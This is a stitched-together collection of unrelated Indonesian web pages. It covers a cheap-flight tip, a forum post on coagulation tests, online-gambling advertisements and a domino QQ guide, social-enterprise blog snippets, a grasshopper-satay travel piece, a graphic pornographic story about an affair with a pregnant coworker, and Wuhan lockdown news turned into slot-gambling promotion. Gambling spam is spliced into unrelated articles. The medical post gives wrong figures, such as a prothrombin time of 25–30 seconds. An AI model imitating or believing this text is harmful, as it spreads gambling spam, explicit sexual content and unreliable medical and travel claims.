Jika kota tujuanmu punya dua bandara, cobalah untuk memilih penerbangan yang turun di bandara sekuler. Contohnya, Jakarta yang memiliki Bandara Internasional Soekarno Hatta (utama) dan Bandara Halim Perdana Kusuma (sekuler). Kamu bisa memilih untuk mendarat di Bandara Halim Perdana Kusuma jika hendak menuju Jakarta. Karena bagi maskapai penerbangan, mendaratkan pesawatnya di bandara sekuler memakan biaya lebih murah dibanding di bandara internasional. Dengan begitu, kamu bisa menghemat pengeluaran liburanmu untuk keperluan lainnya.
Cara Mendapatkan Tiket Pesawat Murah – travelweekly.com
Sudah tahu kan strategi mencari tiket pesawat murah promo. Sekarang kamu bisa berhemat saat liburan. Jangan lupa untuk share info tips cara mendapatkan tiket pesawat murah ke rekan dan keluarga kamu. Selamat berlibur.


content:
Forum Diskusi dan Komunitas Online / Kesehatan, Kuliner dan Hobby / Kesehatan / Macam-Macam Tes Koagulasi, Apa Bedanya?
Thread Rating:
0 Vote(s) - 0 Average
1
2
3
4
5
Thread Modes
Macam-Macam Tes Koagulasi, Apa Bedanya?
info.sehat
Posts: 333
Threads: 333
Joined: Aug 2019
Reputation: 0
#1
16 September 2020, 11:40 AM
Tes koagulasi adalah suatu pengukuran yang dilakukan untuk mengetahui kemampuan koagulasi atau pembekuan darah. Tes ini akan mengukur apakah darah Anda dapat menggumpal secara normal atau tidak. Selain itu, tes koagulasi juga mengukur berapa lama waktu yang dibutuhkan oleh darah Anda untuk membeku atau menggumpal.
Dengan melakukan tes koagulasi, Anda bisa tahu apakah kemampuan darah membeku berjalan normal atau tidak di dalam tubuh. Artinya, bisa saja Anda mungkin mengalami gangguan koagulasi, berupa perdarahan yang sukar berhenti atau pembekuan darah yang sulit terjadi.
Macam-macam tes koagulasi dan fungsinya
Tes koagulasi memiliki beberapa jenis pemeriksaan, sehingga hasilnya pun bervariasi. Macam-macam tes koagulasi mencakup:
Complete blood count (CBC).
Tes hitung darah lengkap ini akan memberitahu apakah Anda mengalami anemia atau jumlah trombosit yang rendah, sehingga mengganggu kemampuan darah Anda untuk menggumpal.
Uji faktor V.
Tes koagulasi ini bertujuan mengukur faktor V, yaitu zat yang terlibat dalam proses pembekuan darah. Jika kadarnya rendah (tidak normal) dapat menjadi indikasi penyakit hati, pemecahan pada gumpalan darah (fibrinolisis primer), atau disseminated intravascular coagulation (DIC).
Tingkat fibrinogen.
Tes ini disebut juga dengan tes faktor I dan hipofibrinogenemia. Tes faktor I dilakukan untuk mengukur ketersediaan fibrinogen di dalam darah Anda. Fibrinogen merupakan jenis protein yang dibuat oleh hati. Apabila hasilnya tidak normal, maka bisa menjadi pertanda adanya perdarahan yang berlebih, fibrinolisis, atau solusio plasenta (lepasnya plasenta dari dinding rahim).
Waktu protrombin.
Protrombin adalah jenis protein lain yang diproduksi di organ hati. Uji waktu protrombin atau prothrombin time (PT) bertujuan mengukur seberapa baik dan berapa lama waktu yang dibutuhkan oleh darah untuk membeku, yang biasanya, butuh waktu sekitar 25 – 30 detik.
Jika ternyata waktu yang dibutuhkan darah Anda lebih lama, maka mungkin adanya pengaruh dari konsumsi obat pengencer darah atau mengindikasikan adanya penyakit, seperti hemofilia, hati, atau malabsorpsi. Tes koagulasi ini juga berguna untuk mengontrol kinerja obat yang memengaruhi proses pembekuan, seperti warfarin (Coumadin).
Umumnya, dokter akan melakukan tes PT bersama dengan tes koagulasi lain, yang disebut waktu tromboplastin parsial teraktivasi atau activated partial thromboplastin time (aPTT). Hasilnya dapat diberikan dalam hitungan detik sesuai dengan waktu yang dibutuhkan darah untuk membeku. Terkadang, uji PT juga menggunakan rasio normalisasi internasional atau international normalized ratio (INR) untuk membandingkan hasilnya dari berbagai laboratorium.
Jumlah trombosit.
Tes koagulasi ini untuk mengukur ketersediaan atau kadar trombosit dalam darah. Trombosit adalah bagian dari sel darah yang berfungsi untuk pembekuan darah. Kadar trombosit rendah jika Anda sedang menjalani kemoterapi, mengonsumsi obat-obatan tertentu, atau menjalani transfusi darah secara besar-besaran. Penyebab lainnya adalah memiliki penyakit celiac, defisiensi vitamin K, atau leukemia.
Sementara itu, jika kadar trombosit Anda tinggi, maka dapat mengindikasikan penyakit anemia, trombositemia primer, atau chronic myelogenous leukemia (CML).
Waktu trombin.
Tes koagulasi terkait waktu trombin dilakukan untuk mengukur seberapa baik protein darah (fibrinogen) bekerja. Apabila hasilnya tidak normal, maka kemungkinan penyebabnya adalah kelainan fibrinogen karena faktor genetik, penyakit hati, kanker, dan konsumsi obat-obatan yang mempengaruhi pembekuan darah.
Waktu pendarahan.
Menguji waktu perdarahan bertujuan menganalisis seberapa cepat pembuluh darah kecil di kulit menutup dan menghentikan pendarahan. Tes ini dilakukan secara berbeda dengan tes koagulasi lainnya.
Sebuah manset tekanan darah akan dipasang di bagian lengan atas, lalu dipompa. Petugas layanan kesehatan akan membuat beberapa sayatan kecil yang tidak terlalu dalam (biasanya berupa goresan tipis) di lengan bawah Anda. Kemudian, manset dilepaskan dan saat mengempis, ditempelkan kertas blotting pada luka setiap 30 detik hingga pendarahan berhenti.
Umumnya, pendarahan hanya berlangsung sekitar 1 – 9 menit. Tes ini dianggap aman dan hanya sedikit efek sampingnya.
Inilah macam-macam tes koagulasi yang biasanya disarankan dokter untuk Anda lakukan. Prosedurnya sama dengan kebanyakan tes darah lainnya. Petugas kesehatan akan mensterilkan punggung tangan atau siku tempat darah Anda akan diambil. Lalu, sebuah jarum akan ditusukkan ke pembuluh darah untuk mengambil darah Anda. Setelah selesai, petugas kesehatan akan memasang perban di bagian yang mendapat tusukan.
Anda mungkin diminta dokter untuk berhenti minum obat tertentu sebelum melakukan tes koagulasi. Selebihnya, tidak ada persiapan lain yang diperlukan.
Find
Reply
« Next Oldest | Next Newest »
View a Printable Version
Users browsing this thread: 1 Guest(s)
About Ziuma
ziuma - forum diskusi dan komunitas online. disini kamu bisa berdiskusi, berbagi informasi dan membentuk komunitas secara online. Bisa juga berdiskusi dengan sesama webmaster/blogger. forum ini berbasis mybb


content:
PasarQQ | Agen BandarQ | Situs BandarQ | BandarQ Online | Agen Domino | Situs Poker Online | Situs Judi Online Indonesia
PasarQQ adalah Situs Judi Online Terbaik di Indonesia. PasarQQ telah mendapat Gelar Situs BandarQ Terpercaya, Situs Poker, Situs Domino99, Situs AduQ, Situs Capsa Susun dan Situs Bandar Poker Terpopuler. Situs PasarQQ.com sebagai situs judi online dengan Uang Asli, Fairplay, No Bot dan memiliki kemenangan yang tinggi. Ayo Gabung Sekarang juga dengan Situs Judi Terpopuler di Indonesia PasarQQ.com.


content:
ZodiakPoker agen judi poker, domino99, bandarq, aduq, bandarpoker, capsa, sakong, bandar66 dan perang bacarrat Indonesia terpercaya...
Daftar dan Login ZodiakPoker Disini!!
LOGIN WEBSITE
DAFTAR SEKARANG
Cara Daftar dan Login
Cara Daftar
Daftar zodiakpoker menggunakan link alternatif resmi kami yang pasti aman dan terpercaya. Anda tidak perlu ragu lagi untuk bergabung dengan kami karena sudah ribuan member diluar sana membuktikan bahwa kami adalah agen judi online kartu poker dan domino online yang paling terpercaya di Indonesia sejak 10 tahun terakhir. Cukup klik tombol daftar diatas dan masukkan data anda maka anda sudah menjadi member dengan ID Pro ZodiakPoker yang akan memperoleh pelayanan spesial dari kami.
Cara Login
Untuk login ke web zodiakpoker anda disarankan untuk selalu memperhatikan domain dan IP yang membawa anda. Bisa saja anda terbawa ke situs penipu yang menyerupai zodiakpoker net, maka sangat disarankan sekali bagi anda member setia kami agar selalu memperhatikan web judi online yang anda akses. Banyak hacker diluaran sana yang selalu mengintai akun anda, bahkan mereka menggunakan cheat untuk hacker zodiakpoker, namun disini anda tidak perlu ragu lagi karena hal tersebut tidak akan terjadi kepada anda.
ZodiakPoker mobile android dan iOs dengan apk atau aplikasi yang bisa didownload di smartphone anda. Aplikasi pkv games tersebut akan memudahkan dan memanjakan anda bermain judi online diperangkat handphone anda dengan simple. Aplikasi ini tidak akan memakan memory HP anda seperti game permainan online lainnya. begitu juga dengan akses server poker v games yang selalu terupdate dan tercanggih, aplikasi ini selalu berjalan dengan mulus tanpa leg.
Bonus dan Menang
Bonus Yang Disediakan
ZodiakPoker pkv games menyediakan bermacam bonus sebagai hiburan bagi semua member yang pernah mendaftar dan bermain disini. Bonus itu terdiri dari bonus refferal yang biasanya dibagikan sesuai dengan jadwal dari agen kami dan juga tersedia bonus turn over yang biasanya dibagikan setiap minggu. Meskipun anda kalah namun tidak ada jaminan bahwa modal anda akan hilang juga, karena bonus turn over akan dibagikan jika anda memiliki riwayat transaksi yang besar sehingga bonus ini bisa mengalahkan modal anda.
Tips dan Trik Menang Judi Online
Ada beberapa cara menang bermain zodiakpoker yang pada intinya adalah pindah meja atau cari meja lain yang lebih besar, apabila disatu meja kalah berturut turut lebih baik jangan teruskan mainnya. Cobalah untuk berpindah meja lainnya dan apabila anda masih kalah berarti hoki atau keburuntungan anda sedang tidak bagus. Selain itu cara menang judi online pada umumnya adalah dengan cara fold yaitu pada saat anda sedang bermain dan kartu sudah di bagikan masing masing dan kartu yang anda pegang kurang bagus maka lebih baik anda melakukan fold saja dan jangan terlalu memaksakan diri anda untuk tetap memainkan taruhan kali ini.


content:
PandaiBerpoker adalah situs website dimana anda dapat mendapatkan banyak informasi seputar poker online terkini yang sedang viral di cari masyarakat penjudi
Panduan dan Cara Bermain Domino QQ Live Poker Online
Posted byadmin	 June 10, 2020 June 10, 2020
Pandaiberpoker – Panduan dan Cara Bermain Domino QQ Live Poker Online untuk dapat memainkan game online jenis qq live poker, Anda harus bergabung dengan situs poker tepercaya.
Situs poker andal menawarkan permainan poker online yang bisa dilakukan langsung. Situs poker online tidak dapat diandalkan alias penipu tidak akan memberikan jenis permainan poker online yang dapat dilakukan secara langsung. Karena itu bisa membuat situs poker tertangkap ketika melakukan penipuan.
Panduan Dan Cara Bermain Domino QQ Live Poker Online
Membentuk permainan poker yang dapat dipercaya, daftar poker online terpercaya, dan qq uang nyata dengan menggunakan difusi streaming langsung dengan waktu nyata. Dengan demikian, judi online dapat dilakukan langsung antara pemain dan kota.
Berbicara tentang permainan qq poker maka itu tidak akan terlepas dari bermain domino qq. Ini adalah permainan poker yang mudah dan qq paling disukai oleh pemain baru, pemain lama juga memainkannya.
Domino atau 99 domino qq adalah permainan yang dimainkan antara pemain dan tidak ada kota yang berpartisipasi dalam permainan. Jadi pemain melawan pemain lain, pemain yang bisa mendapatkan kartu tertinggi adalah pemenang dan berhak atas hasil paris online yang dimainkan. Permainan domino sederhana ini memiliki tur singkat ke ibukota. Karena itu sangat cocok untuk mereka yang ingin untung cepat.
Beberapa Ulasan Tentang Permainan DominoQQ Online
Game online Domino QQ
Bagi yang suka memainkan domino dengan benar qq live, ia harus mendengarkan ulasan di bagian akhir terutama untuk pemain baru. Domino qq dimainkan menggunakan kartu domino, kartu memiliki titik dan lingkaran sebagai tanda nilai setiap kartu.
Di tabel domino qq, itu tidak dapat dimainkan dengan maksimal 6 orang. Dalam permainan ini, kartu yang dibagikan pihak pertama adalah 3 kartu domino. Dalam permainan ini apa yang harus dihadapi pemain lain, kota hanya memiliki peran memantau dan mendistribusikan kartu.
Hitung kartu Domino
Dalam permainan domino online, skor tertinggi adalah 9. Jadi pemain yang berhasil mendapatkan 9 kartu adalah pemain yang menang dan berhak atas hasil taruhan yang dibuat. Kemudian, dalam perhitungan kombinasi kartu tanpa nilai melebihi 9.
Jadi, misalnya, seolah-olah Anda memiliki 6 kartu dan 5, nilai kartu pertama yang diperoleh dari 6 + 5 = 11 1 diambil dari unit nomor 11. di cara ini menghitung kombinasi kartu domino.
Cara bermain Domino online
Di awal permainan, karena semua pemain memasang taruhan publik, dealer akan mulai membagikan tiga tangan pertama kartu tersebut. Setelah pembagian 3 kartu tangan, setiap pemain memiliki kemampuan untuk membuat kombinasi yang terdiri dari dua kartu untuk menghasilkan nilai 9 yaitu Qiu.
Situs Poker Online Terpopuler Indonesia
Jika kartu 3 dipegang adalah tidak ada yang bisa menghasilkan Qiu, masih ada peluang, karena kartu akan dibagikan ke 4. Namun, untuk bisa mendapatkan kartu untuk 4 Anda harus kembali bertaruh pada yang lain pemain.
Jika Anda merasa cukup percaya diri untuk bertaruh pada pemain lain, Anda selalu dapat mengambil banyak pilihan. Opsi ini akan menyerah dan berhenti memainkan putaran game tertentu.
Untuk menentukan pemenang game domino online, harus ada hanya satu pemenang. Jadi ketika ada lebih dari satu pemain yang mendapat Qiu, pemenang hasil akan ditentukan oleh nilai penjaga. Pemain dengan kiper tertinggi memenangkan game online langsung dari domino.


content:
Kali ini kami akan ulas berkaitan dengan . Ada beberapa LSM yang mulai berfokus pada social entrepreneurship di Indonesia, baik itu LSM Indonesia maupun LSM internasional. Tiga organisasi yang menurut tim penulis berkontribusi paling signifikan dalam pengembangan isu tersebut adalah Bina Swadaya, Ashoka, dan British Council. Dukungan Finansial dari Lembaga Swadaya Masyarakat Bina Swadaya
0 comments
Read More
Jenis Sumber Pendanaan untuk Social Enterprise
Posted by admin On Juni 30, 2020 In Wirausaha Sosial
Topik kita sekarang adalah . Dana adalah sumber daya utama untuk memulai usaha apapun, termasuk social enterprise. Dana bisa berasal dari berbagai sumber, sehingga tidak perlu melulu mengandalkan kemampuan sendiri yang terbatas. Banyak contoh wirausaha yang memulai usahanya tanpa modal sendiri. Jenis Sumber Pendanaan untuk Social Enterprise Untuk itu, penting diketahui oleh social entrepreneur
0 comments
Read More
Dukungan Pemerintah Thailand bagi Social Enterprise
Posted by admin On Juni 29, 2020 In Wirausaha Sosial
Pembahasan kita kali ini yaitu . Setelah mengetahui bentuk-bentuk kebijakan pemerintah Indonesia dalam mendukung kewirausahaan secara umum (karena belum ada kebijakan khusus untuk kewirausahaan sosial), ada baiknya kita memperluas wawasan dengan mengetahui bentuk-bentuk kebijakan untuk mendukung kewirausahaan sosial di beberapa negara di antaranya Negara Thailand. Dukungan Pemerintah Thailand bagi Social Enterprise Di antara negara-negara
0 comments
Read More
Kebijakan dan Program Kewirausahaan dari Pemerintah
Posted by admin On Juni 25, 2020 In Wirausaha Sosial
Sekarang kami akan bahas tentang . Sampai saat ini kebijakan di Indonesia belum memberikan perhatian secara khusus terhadap kewirausahaan sosial. Namun, perhatian terhadap isu kewirausahaan secara umum telah ada. Hal ini dibuktikan dengan cukup banyaknya program kerja pemerintah untuk mendukung kewirausahaan. Pada tahun 2015, Rancangan Undang-Undang (RUU) tentang Kewirausahaan telah masuk ke daftar 37
0 comments
Read More
Kewirausahaan Sosial menjadi Konsep Bisnis yang Menantang
Posted by admin On Juni 23, 2020 In Wirausaha Sosial
Di postingan ini kami akan ulas seputar . Kewirausahaan sosial telah menjadi perhatian publik selama dua dekade terakhir. Di Asia, konsep kewirausahaan sosial ini berkembang pesat selama sepuluh tahun belakangan. Dengan berbagai kebutuhan sosial yang kian berkembang, kebijakan yang silih berganti, stagnasi pada status quo, serta lanskap teknologi dan akses informasi, wirausaha sosial bangkit


content: Sekarang kami akan bahas tentang . Sampai saat ini kebijakan di Indonesia belum memberikan perhatian secara khusus terhadap kewirausahaan sosial. Namun, perhatian terhadap isu kewirausahaan secara umum telah ada. Hal ini dibuktikan dengan cukup banyaknya program kerja pemerintah untuk mendukung kewirausahaan. Pada tahun 2015, Rancangan Undang-Undang (RUU) tentang Kewirausahaan telah masuk ke daftar 37


content: Selamat datang di Sideka. Ini adalah pos pertama Anda. Sunting atau hapus, kemudian mulai menulis tentang Desa Anda !


content:
Asyiknya Berburu Sate Belalang di Banyuwangi – Berbicara tentang Banyuwangi memang tiada habisnya. Kabupaten yang bersebrangan dengan pulau bali ini memiliki berbagai macam keunikan dan keistimewaan tersendiri. Banyuwangi adalah kota kecil nan mempesona dengan berbagai keunggulan wisata dan juga kulinernya. Banyuwangi terkenal dengan tempat penangkaran penyu sukamade. Dan juga kawasan wisata unik dan menantang adrenalin di kawasan arum jeram karo rafting. Selain itu banyuwangi juga memiliki berbagai makanan unik dan ekstrim yang tidak dimiliki daerah lain. Salah satu yang cukup ekstrim adalah sate belalang.
Seperti namanya, sate ini terdiri dari puluhan belalang yang dapat dikonsumsi. Kuliner ekstrim ini terletak di kawasan timur Banyuwangi lebih tepatnya di kecamatan jatirejo. Kuliner ini tidak dapat ditemukan setiap hari, hanya pada waktu – waktu tertentu saja kuliner ekstrim sate belalang ini bisa di dapatkan wisatawan. Kuliner ini dapat ditemukan pada kisaran bulan april sampai juli saat area persawahan mulai menunjukan masa – masa panen. Kuliner unik dan cukup ektrim ini tidak bisa begitu saja didapatkan. Para penjual harus mencari satu persatu belalang dan dikumpulkan menjadi satu. Biasanya para petani atau anak – anak mencari belalang lalu di jual kepada pengepul yang menjual sate belalang.
Untuk mendapat sate belalang ini, para wisatawan dapat dengan mudah mendatangi para pedagang pinggir jalan yang terdapat di sekitar area hutan jati atau di pinggir – pinggir jalan besar. Para wisatawan juga bisa merasakan sensasi mencari belalang dengan penduduk sekitar lalu memasaknya. Belalang – belalang yang telah terkumpul akan dimasak dengan cara di goreng oleh penduduk sekitar. Hidangan ini juga disajikan bersama saat wisatawan memasang taruhan judi di warung dipinggir warung. Hasil gorengan tersebut akan dikemas setiap 10 – 15 belalang menggunakan tusuk sate. Per tusuk dijual dengan harga yang bervariatif dan terjangkau. Sensasi renyah dari belalang yang digoreng akan memberikan efek ketagihan pada siapapun yang memakannya. Rasa yang unik disertai dengan cara mencarinya yang juga mengasyikkan membuat kuliner ini wajib dicoba bagi para pencinta kuliner ekstrim. Lalu tunggu apa lagi, yuk ke Banyuwangi dan rasakan sensasi mengasyikkan mencari belalang.


content: Anda akan dihubungkan ke www.indotrading.com untuk mendapatkan penawaran dari ribuan supplier kami dikarenakan perusahaan ini bukan keanggotaan premium supplier Indotrading.

warc-identified-content-language: eng,ind


content:
Selamat datang dengan situs fotosex.org kami ini, situs kami ini akan menghadirkan hal hal yang sangat menggairahkan sekali bagi para pecinta bokep dan akan lebih birahi lagi dalam berurusan ranjang dengan sang istri.situs ini akan menghadirkan video seks dan cerita seks yang terpanas dan terhot seindonesia yang akan sangat menari bagi para pecinta bokep. video seks yang akan kami berikan ini juga terdiri dari video seks barat, video seks JAV dan lain sebagainya semua yang akan diberikan ini sudah diyakinkan akan sangat menggairahkan sekali dan membuat semua pecinta bokep lebih birahi
Pada saat kejadian itu status aku sdh mempunyai seorang isteri dan bekerja disalah satu suatu perusahaan swasta di Jakarta. Kemudian pada suatu hari ada seorang cewek cantik dan sexy dari kantor cabang dimutasi ke kantor pusat yakni tempat aku bekerja. Namanya Melda, memiliki kulit putih, tinggi 162 cm, dadanya yg penuh berisi, aku sangat suka curi-curi pandang untuk melihaat mukanya dia yg sangat buat aku bergairah. Awalnya aku tak sadar jika si Melda sedang berbadan dua soalnya dia suka pake baju yg cukup longgar, karena aku tau dia tengah hamil gua malah seneng dan terus kepengen deketin, karena menurut aku cewek hamil itu tambah sexynya lebih gimana gitu!.
Goyangan Nikmat Wanita Hamil | Setelah pendekatan beberapa minggu lamanya, aku mulai berani ajak dia lunch di Ancol, padahal lokasi kantor aku di daerah Sudirman, he he niat bro. Setelah sampai di TKP dan parkir mobil, gua mulai lancarkan niat usaha. aku mendekatkan kearah Melda sembari ngobrol aku elus rambutnya yg sebahu itu, lalu aku pijit halus lehernya pelan dan matanya pun mulai terpejam dan aku mulai berani mencium pipinya Melda, dia kaget akan tetapi diam aja, melihat reasiknya begitu aku lanjutkan mencium bibirnya, trus mulai melumat pelan bibirnya yg aduhai.
Awalnya Melda tdk membalas, aku rasa karena dia masih malu tp setelah beberapa menit tangannya mulai berani merengkuh leher aku dan mulai membalas sambil bergumam mmhhh!.. wah akhirnya kami pun ber-french kiss ria, dan bibir kami saling berpagut mesra, !.mantap rasanya bro, !..Hari itu hanya ciuman aja, dikarenakan masih saling sungkan atau canggung he he he.
Dunia Perawan – Goyangan Nikmat Wanita Hamil | Beberapa hari setelahnya aku liat si Melda keliatan agak sedih, trus aku nanya” ada apa Mel? Trus dia jawab ada keluarganya yg diopname tp dia belum sempet nengok karena suaminya sibuk terus. Ya udah sini aku anterin kata aku, but aku minta dibayar ya?
Ih, kok minta bayaran sich? Mau dibayar berapa katanya. Pake bibir Melda ya, dia nya senyum-senyum gitu dengernya .
aku pergi ama Melda pas lunch time. Singkat cerita setelah selesai besuk, kita meluncur tak tentu tujuan, aku gelisah banget deg deg an. Trus aku nanya pelan ke Melda,
“hutangnya kapan dibayar? Terserah kamu jawabnya. Enaknya dimana ya gumam aku. Terserah kamu aja jawabnya lagi. Wah udah lampu hijau nih pikir aku. Ya udah mobil aku arahin ke daerah MT Haryono menuju PN. Pas masuk ke pelataran PN, aku liat mukanya gelisah banget, trus aku pegang tangannya dan aku berkata
” kalo Melda nggak mau, kita pergi aja”. Melda malah menggelengkan kepalanya dan berkata
” I’m ok”.
Setelah kami masuk ke kamar. aku langsung peluk dia erat dan diapun membalas, kemudian bibir kami saling bertaut, lumayan lama kami berciuman dgn posisi berdiri. Trus tangan aku mulai menjelajahi tubuhnya dari lehernya aku usap trus ke punggung dan pelan-pelan tangan aku mulai meremas toketnya, ugh montok banget, memang cewe kalo lagi hamil, toketnya padat montok banget.
Ciuman aku udah mulai aku arahin ke telinganya!! aku jilat pelan belakang telinganya Ah!ah trus yg! aku cium lehernya, and Melda tambah mengerang , trus dia mulai mendesis..ssshhhhh!..ketika jari aku udah mulai mengenai niplenya! kakinya mulai melemah, aku langsung tahan badannya biar tak jatuh..Kemudian aku bawa Melda ke arah ranjang dan aku rebahin dia, dan mulai membuka bajunya, Melda sdh pasrah banget, mendesah dan menggumam tak jelas. Akhirnya Melda tinggal memakai bh and cd, wah perutnya seksi banget, hamilnya kira-kira udah 5 bulan. aku cium perutnya yg hamil sambil tangan aku meremas toketnya. Sensasinya bro!..aku nikmatin banget.
Dunia Perawan – Goyangan Nikmat Wanita Hamil | Terus aku mulai buka bh-nya, wow padat banget, dan aku mulai mengulum niplenya, udah keras banget tanda dia udah mulai terangsang. Tangan aku mulai meraba cdnya dan mengusap cd luarnya dgn jari aku, ternyata udah mulai basah cdnya, diapun mulai terengah-engah. Sambil lidah aku masih menjilat niplenya, tangan kanan aku udah berada di dlm cd-nya dan mulai mencari klitorisnya
Ugh!ugh ugh gumamannya tambah keras sewaktu tangan aku mulai aktif bergerak di daerah memek dia, udah basah banget.
Trus aku buka cdnya dan lidah aku turun ke meqi dan mulai menjilat pinggiran memeknya, kemudian akhirnya aku menjilat bagian klitorisnya!. wah wanginya beda banget, belum pernah aku mencium wangi yg khas kayak gini, ada gurih-gurihnya lagi!!! lidah aku trus menjilat memek dia sambil tangan aku mengelus perutnya yg hamil.
Dunia Perawan – Goyangan Nikmat Wanita Hamil | Trus yg! trus yg! desahnya , saat itu juga aku masukin jari telunjuk aku ke dlm lubang memek Melda!!..aargghhhhh enak yg!.katanya. aku trus jilatin klitorisnya sambil telunjuk aku keluar masuk meqinnya, perlahan banget temponya karena aku takut ganggu kandungannya, trus yg ada malah si Melda tambah terangsang dan kepala aku mulai diremas-remas lembut saking nikmatnya. Setelah beberapa saat, aku mulai merasa napas Melda tambah memburu dan badannya mulai menegang serta jepitan di meqinya tambah erat trus tempo aku agak percepat!
jari aku tambah mantap keluar masuk memeknya!..dan akhirnya!!!oh sayang!. aku mau keluar bisiknya. Teriak aja Melda, tak usah disimpan suaranya, teriak yg keras jangan malu!!!, nggak akan ada yg denger kata aku dan Melda pun teriakannya mulai keras!.
” ooooggghhhhhh!!..aku mau meledak !sayang!..oooohhhhhh oooohhhhhhh!..akhirnya keluar juga si Melda, tangannya tambah keras menekan kepala aku. Jilatin trus aku lakuin, aku sedot aku minum semua cairan dari memek!.mhhhh nikmat banget rasanya.
Terus kami berpelukan dan aku cium bibirnya sambil elus-elus perutnya yg sexy, and Melda pun berbisik, aku cium ya adiknya!.
” oogghh aku langsung nelen ludah, be my pleasure” kata aku!.
Dia cium palcon aku sambil megang penis aku, trus lidahnya mulai menari-nari di ujung penis aku sambil tangannya mengocok-ngocok serta berputar2 dari pangkal sampai leher penis aku, gila enak abis, aku sampai mengerang kenikmatan. Aku pegang kepalanya dan aku bilang udah ya mainin adik aku, daripada meledak di mulut kamu” dan dia bilang biar aja, aku pengen rasain punya kamu!” wah tambah senewen aku dengernya. Akhirnya aku angkat juga kepalanya dan aku lumat bibirnya sambil aku raih badannya dan aku bikin dia telentang.
Trus aku posisikan badan aku diatasnya, dan mulai arahin penis aku ke liang memek Melda, aku pelan2 masukin penis aku, masih seret nih pikir aku, padahal Melda udah punya anak pertama, tp mungkin karena di cesar” jadi masih rapet. Sexy banget badan Melda aku liat dari atas dgn perutnya yg membusung sexy.
Dunia Perawan – Goyangan Nikmat Wanita Hamil | Dgn sedikit usaha akhirnya aku berhasil memasuki meqinya. Tangannya memeluk erat punggung aku, aaahhh trus yg! I’m yours!.kata Melda. penis aku udah masuk semuanya, ah nikmat banget seperti ada yg gigit, mencengkram erat penis aku, sampai aku meringis kenikmatan. Pelan-pelan aku turun naik kayak orang push up, nikmat tp karena agak susah krn kehalang perutnya trus aku bisikin Melda utk ganti posisi, biar lebih leluasa. aku angkat badan Melda dan dia bersandar di bagian kepala kasur dan dibawah pantatnya aku alasin bantal biar lebih tinggi.
Sambil aku cium bibirnya, aku masukin lagi liang memek ama penis aku. Langsung blesss!!!.ah yg” pas banget posisinya katanya. aku juga merasa demikian karena perutnya jadi tdk menghalangi gerakan aku. Setelah masuk semua, aku diemin beberapa detik, trus yg katanya
”kok berhenti? aku pengen nikmatin dulu rasa ini Mel” jawab aku.
Dan aku mulai gerak perlahan, maju mundur dgn tempo yg aku jaga. Bibir aku melumat niplenya dan tangan aku meremas toketnya dan mengelus perutnya yg sexy. Man!. viewnya sexy banget. Meqinya terasa menjepit erat penis aku. Gila!. enak banget, aku harus atur napas aku untuk menjaga biar aku nggak keluar dulu.
Dgn tempo yg tetep aku jaga, disertai elusan, rabaan, dan ciuman-ciuman dari aku. Aura nafsu diantara kami semakin kuat, apalagi sesekali aku cium ketiaknya yg putih!..agh agh agh geli yg katanya. Kemudian badan Melda mulai menegang dan tangannya tambah erat cengkram lengan aku tanda dia mau orgasm. Gerakan aku percepat , tambah cepat!..aku juga mulai merasa udah dekat ujung!..yes yes yes honey enak sayang!.aku juga enak Mel!.
Waktu merasa aku mau keluar, aku langsung lumat bibirnya dan Melda tambah keras mencengkram aku.
Dunia Perawan – Goyangan Nikmat Wanita Hamil | Aahhhhhhh yg!aku mau meledak yg kata Melda. aku juga mau keluar Mel kata aku. Akhirnya meledak lah kami berbarengan, lahar yg aku tahan sejak tadi membasahi dlm meqinya!..rasanya melayg sewaktu aku orgasm. aku lumat dgn nafsunya bibir Melda yg sexy. And aku peluk Melda dan aku cium perutnya. Trus Melda berkata
”Sumpah yg, enak banget yg tadi”. I know, aku juga merasa nikmat” kata aku.
Trus setelah kita puas berpelukan, kitapun mandi bareng. aku sabunin badannya dgn lembut, dan daerah yg paling lama aku sabunin adalah daerah perutnya. aku usap lembut, dgn gerakan memutar, turun naik, aku nikmatin sensasinya. Melda nanya
” kamu suka perut ku ya”.
” Iya Mel jawab aku polos”. Aku suka ama cewe hamil bisik aku lagi”. Trus kalo aku udah melahirkan, kamu masih suka nggak ama aku tanyanya.
Aku hanya senyum tak menjawab dan sambil mencium bibirnya, aku basuh badannya dan setelah aku keringan dgn handuk, pake baju and aku ajak dia balik ke kantor.
Aku itung-itung 5x KALI aku ML ama Melda, sampai kandungannya berusia sekitar 8 bulan. Dan guess what setelah Melda melahirkan, aku ama dia tdk pernah ML lagi, tp hubungan aku sama Melda tetap baik sampai sekarang.
KAmi berharap dengan adanya fotosex.org situs kami ini akan sangat berguna dan akan muat para pecinta bokep lebih bergairah lagi dalam urusan ranjang dengan sang istri serta jika para pecinta bokep tidak ingin ketinggalan dengan video dan cerita seks terbaru yang kami berikan maka dari itu kunjungilah selalu fotosex.org situs kami ini


content:
Fasilitas yang disediakan oleh sekolah untuk menunjang kegiatan Belajar mengajar. Fasilitas ini terus dirawat serta dikembangkan agar dapat digunakan dengan optimal
Sejarah Frateran
Sekolah Frateran berdiri sejak tahun 1963 oleh para frater dijiwai semangat pendirinya untuk mewujudkan cinta kasih kepada Allah dengan pelayanan kepada sesama khususnya kawula muda
Siswa Berprestasi
Daftar siswa berprestasi dan pencapaiannya dapat dilihat disini. Teruslah berkarya dengan semangatmu untuk mengharumkan nama almamater, bangsa dan negara


content:
Negara cina khususnya untuk penduduk wuhan bebas karantina dan warga tersebut juga merasakan kegembiraan dan campur ketakutan. Puluhan ribu penduduk dari kota wuhan bebas dan keluar dari kereta api, pesawat, maupun mobil.
Karena penguncian selama 76 hari yang sudah kita cabut pada hari rabu dari cina sebab virus corona global kita mulai. Akhir faktor dari penguncian ini ialah tonggak paling penting dalam wilayah cina supaya untuk menahan virus covid-19 tersebut.
Sebab sudah berjumlah 80.000 orang yang jatuh sakit akibat virus mematikan ini jelas membanjiri seluruh sistem kesehatan. Setelah bebas dari karantina warga wuhan juga gembira sebab bisa menjalani hobi bermain situs judi slot tersebut dengan bebas tanpa ada larangan.
Penduduk Wuhan Bebas Bermain Game slot Online
Sangat tersiksa warga wuhan yang tidak bisa menjalankan hobinya untuk bermain slot online atau daftar slot online ke casino. Karena adanya kasus infeksi virus baru yang bernama covid-19 corona yang mematikan dan sangat cepat menular.
Menggemari salah satu permainan slot online tidak ada salah sama sekali karena mempunyai fitur menarik ke dalamnya. Pasti bermanfaat karena bisa mendapatkan keuntungan yang banyak dan mempunyai hadiah terbesar.
Saya ada sedikit informasi tentang artikel saya yang berjudul best top bermain slot online terbaik. Dalamnya ada banyak manfaat soal untuk bermain di situs judi slot terbaik dan terpercaya no 1, langsung saja cek dari pada penasaran.
